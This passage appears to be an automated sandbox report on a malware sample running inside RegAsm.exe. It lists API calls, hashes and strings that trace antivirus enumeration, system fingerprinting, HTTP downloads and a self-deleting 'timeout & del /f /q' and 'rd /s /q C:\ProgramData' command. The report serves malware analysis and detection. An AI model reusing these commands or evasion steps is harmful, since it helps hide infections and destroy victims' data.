Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

memset.MSVCRT ref: 00408C7F
DeleteFileA.KERNEL32(00000000), ref: 00408CA4

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyCreateDeleteObjectProcessSingleSystemThreadTimeWaitmemset
String ID:
API String ID: 156379684-0
Opcode ID: 8ee0452d1c9f8879db682c44a8bd06a3f2f501328dfa6872344a5bf684e5f478
Instruction ID: 517fb1482c7bf48e2daa8cc91bc62da6b68edd990b633fa38b7ec1900e684afa
Opcode Fuzzy Hash: 8ee0452d1c9f8879db682c44a8bd06a3f2f501328dfa6872344a5bf684e5f478
Instruction Fuzzy Hash: 11F15771804158EADB15EBE4DD1ABEEBB74AF18308F50407EE405B21E2DF782A09DB25

Function 0041077C Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 155memorycomtimeCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00410781
CoInitializeEx.OLE32(00000000,00000000,00000001,?,00000000,?,?,?,?,?,?,00426624,00000000,?,Work Dir: In memory,00000000), ref: 00410799
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000000), ref: 004107AA
CoCreateInstance.OLE32(00426FAC,00000000,00000001,00426EDC,?,?,00000000,?,?,?,?,?,?,00426624,00000000,?), ref: 004107C4
CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000000), ref: 004107FA
VariantInit.OLEAUT32(?), ref: 00410855

Part of subcall function 004106C4: _EH_prolog.MSVCRT ref: 004106C9
Part of subcall function 004106C4: CoCreateInstance.OLE32(00426D5C,00000000,00000001,00426488,?,00000001,00000000,00000000,00000001,?,00000000), ref: 004106F0
Part of subcall function 004106C4: SysAllocString.OLEAUT32(?), ref: 004106FD
Part of subcall function 004106C4: _wtoi64.MSVCRT ref: 00410738
Part of subcall function 004106C4: SysFreeString.OLEAUT32(?), ref: 0041074B
Part of subcall function 004106C4: SysFreeString.OLEAUT32(00000000), ref: 00410752

FileTimeToSystemTime.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,00426624,00000000,?,Work Dir: In memory,00000000), ref: 0041088D
GetProcessHeap.KERNEL32(?,?,00000000,?,?,?,?,?,?,00426624,00000000,?,Work Dir: In memory,00000000,?,0042660C), ref: 00410893
HeapAlloc.KERNEL32(00000000,00000000,00000104,?,?,00000000,?,?,?,?,?,?,00426624,00000000,?,Work Dir: In memory), ref: 004108A0
VariantClear.OLEAUT32(?), ref: 004108E2
wsprintfA.USER32 ref: 004108CC

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Strings

Unknown, xrefs: 00410914
WQL, xrefs: 0041080F
InstallDate, xrefs: 00410867
Unknown, xrefs: 0041090D
Unknown, xrefs: 004108EE
%d/%d/%d %d:%d:%d, xrefs: 004108C6
ROOT\CIMV2, xrefs: 004107D7
Select * From Win32_OperatingSystem, xrefs: 0041080A

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeH_prologHeapInitializeInstanceTimeVariant$BlanketClearFileInitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 2456697202-461178377
Opcode ID: 6bbc65757a9dd392a9b543c355a983862ea0ffb6972efa9a5f29065882e5d019
Instruction ID: 9d86073096b1dc3cc792ac086ea264928f3f197bf5d8e0195c0b1cef05d7c5cd
Opcode Fuzzy Hash: 6bbc65757a9dd392a9b543c355a983862ea0ffb6972efa9a5f29065882e5d019
Instruction Fuzzy Hash: 8D514B71A01228BFCB20DB95DC49EEFBB7CEF49B10F504116F515E6190D7B85A41CBA8

Function 004118AE Relevance: 28.3, APIs: 14, Strings: 2, Instructions: 325stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004118B3
strtok_s.MSVCRT ref: 004118E4
StrCmpCA.SHLWAPI(?,true,?,?,00000104,?,00000104,?,?,00000000), ref: 0041197C

Part of subcall function 0040F997: lstrlenA.KERNEL32(?,00000000,?,004169B9,004265B7,004265B6,00000000,00000000,?,00417314), ref: 0040F9A0
Part of subcall function 0040F997: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F9D4

lstrcpy.KERNEL32(?,?), ref: 00411A33
lstrcpy.KERNEL32(?,00000000), ref: 00411A6F
lstrcpy.KERNEL32(?,00000000), ref: 00411AB6
lstrcpy.KERNEL32(?,00000000), ref: 00411AFD
lstrcpy.KERNEL32(?,00000000), ref: 00411B44
strtok_s.MSVCRT ref: 00411CA7

Strings

false, xrefs: 00411996
true, xrefs: 00411974

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$H_prologlstrlen
String ID: false$true
API String ID: 49562497-2658103896
Opcode ID: 42b556ca287b3747ecbd8e606c3f76c76cceba898297701c297a24441a87d915
Instruction ID: db91816e4951f7301f92f20e3279e8c92673a629158fb1b6361f6b740d505876
Opcode Fuzzy Hash: 42b556ca287b3747ecbd8e606c3f76c76cceba898297701c297a24441a87d915
Instruction Fuzzy Hash: A1C182B190021DAFDF10EFE4D855EDE77B9AF18304F10446AF505A3191DF78AA89CB64

Function 00404F2A Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 174networkfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00404F2F

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00403A54: _EH_prolog.MSVCRT ref: 00403A59
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A8B
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A94
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A9D
Part of subcall function 00403A54: lstrlenA.KERNEL32(00000000,00000000,?,?,00000001,000000C8), ref: 00403AB7
Part of subcall function 00403A54: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 00403AC7

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404F92
StrCmpCA.SHLWAPI(?), ref: 00404FA6
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404FC9
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00404FFF
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405023
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040502E
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 0040504C
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004050D2
InternetCloseHandle.WININET(00000000), ref: 004050DD
InternetCloseHandle.WININET(?), ref: 004050E6
InternetCloseHandle.WININET(?), ref: 004050EF

Strings

ERROR, xrefs: 00405059
ERROR, xrefs: 00405140
GET, xrefs: 00404FF7

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$H_prologOpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 2435781452-2509457195
Opcode ID: 899a52d47c7290b0c62d563f9c6a8f5db657679a145607c8c84c3a78f8ada9c9
Instruction ID: 4f8882304835992de02ce188a42af96545f0e5a020f056082c0570d921596d9d
Opcode Fuzzy Hash: 899a52d47c7290b0c62d563f9c6a8f5db657679a145607c8c84c3a78f8ada9c9
Instruction Fuzzy Hash: BF513F71900119AFEB11EBE0DC85FEEBBB9EB09744F10403AF605B2191DB795E488BA5

Function 004041B2 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 170networkmemoryfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004041B7

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00403A54: _EH_prolog.MSVCRT ref: 00403A59
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A8B
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A94
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A9D
Part of subcall function 00403A54: lstrlenA.KERNEL32(00000000,00000000,?,?,00000001,000000C8), ref: 00403AB7
Part of subcall function 00403A54: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 00403AC7

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 004041FE
RtlAllocateHeap.NTDLL(00000000), ref: 00404205
InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00404224
StrCmpCA.SHLWAPI(?), ref: 00404238
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040425C
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00404292
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 004042B6
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004042C1
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 004042DF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00404337
InternetCloseHandle.WININET(00000000), ref: 00404369
InternetCloseHandle.WININET(?), ref: 00404372
InternetCloseHandle.WININET(?), ref: 0040437B

Strings

GET, xrefs: 0040428A

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$H_prologHeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET
API String ID: 1687531150-1805413626
Opcode ID: 0a3a0618bbe36edcb62e868f1fafd794c33d3d2d9b336a3c2704ce5094abb541
Instruction ID: 70797dbb62b7227b97fb4dad1cf9611d4221403ee57f1c0e2ca818baf810037a
Opcode Fuzzy Hash: 0a3a0618bbe36edcb62e868f1fafd794c33d3d2d9b336a3c2704ce5094abb541
Instruction Fuzzy Hash: DB516EB2900219AFDF10EFE0DC85AEEBBB9EB49344F00513AFA01B2190D7785E45CB65

Function 004136E3 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 153COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004136E8
memset.MSVCRT ref: 00413708
memset.MSVCRT ref: 00413714
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,00000000), ref: 00413729

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

ShellExecuteEx.SHELL32(0000003C), ref: 004138B5
memset.MSVCRT ref: 004138C2
memset.MSVCRT ref: 004138D0
ExitProcess.KERNEL32 ref: 004138E1

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Strings

/c timeout /t 10 & del /f /q ", xrefs: 0041374F
/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 00413809
" & rd /s /q "C:\ProgramData\, xrefs: 0041379F
<, xrefs: 00413890
" & exit, xrefs: 00413856
" & exit, xrefs: 004137F2

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpymemset$H_prolog$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\$<
API String ID: 1312519015-206210831
Opcode ID: 55572b1a904cb1af1763ca9e7bd8291c3d34ccd4c407e7393e9b41159a59be07
Instruction ID: 7cc86f5a3bc31e5bf112f7f201b24b9592421ec460c7ef1d8f903e98a033c0e4
Opcode Fuzzy Hash: 55572b1a904cb1af1763ca9e7bd8291c3d34ccd4c407e7393e9b41159a59be07
Instruction Fuzzy Hash: EF512DB1D0024DEEDB11EBE1C992ADEBBB8AF18304F50017EE505B3582DB785B48CB65

Function 00410925 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 125comCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041092A
CoInitializeEx.OLE32(00000000,00000000,00000001,?,00000000,00426624,00000000,?,Work Dir: In memory,00000000,?,0042660C,00000000,?,00000000), ref: 00410942
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000000,00426624,00000000,?,Work Dir: In memory,00000000), ref: 00410953
CoCreateInstance.OLE32(00426FAC,00000000,00000001,00426EDC,?,?,00000000,00426624,00000000,?,Work Dir: In memory,00000000,?,0042660C,00000000,?), ref: 0041096D
CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000000,00426624,00000000,?,Work Dir: In memory,00000000,?), ref: 004109A3
VariantInit.OLEAUT32(?), ref: 004109F6

Part of subcall function 00410C8D: LocalAlloc.KERNEL32(00000040,00000005,00000000,?,00410A1D,?,?,00000000,00426624,00000000,?,Work Dir: In memory,00000000,?,0042660C,00000000), ref: 00410C95
Part of subcall function 00410C8D: CharToOemW.USER32(?,00000000), ref: 00410CA1

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

VariantClear.OLEAUT32(?), ref: 00410A2B

Strings

WQL, xrefs: 004109B8
root\SecurityCenter2, xrefs: 00410980
Select * From AntiVirusProduct, xrefs: 004109B3
displayName, xrefs: 00410A08
Unknown, xrefs: 00410A5D
Unknown, xrefs: 00410A37
Unknown, xrefs: 00410A56

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prologInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 3694693100-315474579
Opcode ID: 69e3ebb3ae139267ec9dcccb77a6a5073b61d7bf20a9a102ba59cc22b6a9a18b
Instruction ID: eaee24b4b2737a5a762c4e74348500a03556ab89a27190f447ac073c3fdbdc8f
Opcode Fuzzy Hash: 69e3ebb3ae139267ec9dcccb77a6a5073b61d7bf20a9a102ba59cc22b6a9a18b
Instruction Fuzzy Hash: 5A418E70A01229BFCB20DB95DD49EEF7F79EF49B60F60411AF115A6180C7B85A41CBE8

Function 00410071 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 178registrystringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00410076

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,004262C7,00000001,00000000), ref: 004100BE
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 00410108
wsprintfA.USER32 ref: 00410132
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 0041014F
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00410179
lstrlenA.KERNEL32(?), ref: 0041018E
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,00000000,?,?,00000000,?,004262F0), ref: 0041020E

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Strings

?, xrefs: 004100B4
- , xrefs: 00410218
%s\%s, xrefs: 0041012C

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: OpenQueryValuelstrcpy$EnumH_prologlstrlenwsprintf
String ID: - $%s\%s$?
API String ID: 404191982-3278919252
Opcode ID: 31e2b9dd4df46e591392e58f3efde1d97b51e578d32717b35a6573e8f202f5e3
Instruction ID: 7ab7514c44e0da1f2f7805acf3a1e45dd26abe84cf75324248915fb0e6202ea1
Opcode Fuzzy Hash: 31e2b9dd4df46e591392e58f3efde1d97b51e578d32717b35a6573e8f202f5e3
Instruction Fuzzy Hash: 087102B190021DEEDF11EBE1CD84EEEBBB9BB18304F50417AE905B2151DB785A88CB65

Function 0040F689 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 172COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040F68E
??_U@YAPAXI@Z.MSVCRT ref: 0040F6A4
OpenProcess.KERNEL32(001FFFFF,00000000,?,00000000), ref: 0040F6C6
memset.MSVCRT ref: 0040F708
??_V@YAXPAX@Z.MSVCRT ref: 0040F841

Part of subcall function 0040E156: strlen.MSVCRT ref: 0040E16D

Part of subcall function 0040DD10: memcpy.MSVCRT ref: 0040DD30

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0040F720, 0040F809
N0ZWFt, xrefs: 0040F7AB, 0040F7B8

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologOpenProcessmemcpymemsetstrlen
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30$N0ZWFt
API String ID: 3050127167-1622206642
Opcode ID: 6d550b47649cbc074e826e347ff90771797366bbdea03ead8e58419020fff812
Instruction ID: d92978c317b697945912aa173a1e05ead718c9e6d1350f194c4815b503896aae
Opcode Fuzzy Hash: 6d550b47649cbc074e826e347ff90771797366bbdea03ead8e58419020fff812
Instruction Fuzzy Hash: A8517E71900219AEDB20EB94DC81AEEBBB9EF04314F20017FF114B66C1DB795E88CB59

Function 004104DD Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 123memorystringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004104E2
GetWindowsDirectoryA.KERNEL32(?,00000104,00000001,?,00000000), ref: 00410505
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000), ref: 00410537
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 0041057A
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410581
wsprintfA.USER32 ref: 004105AD
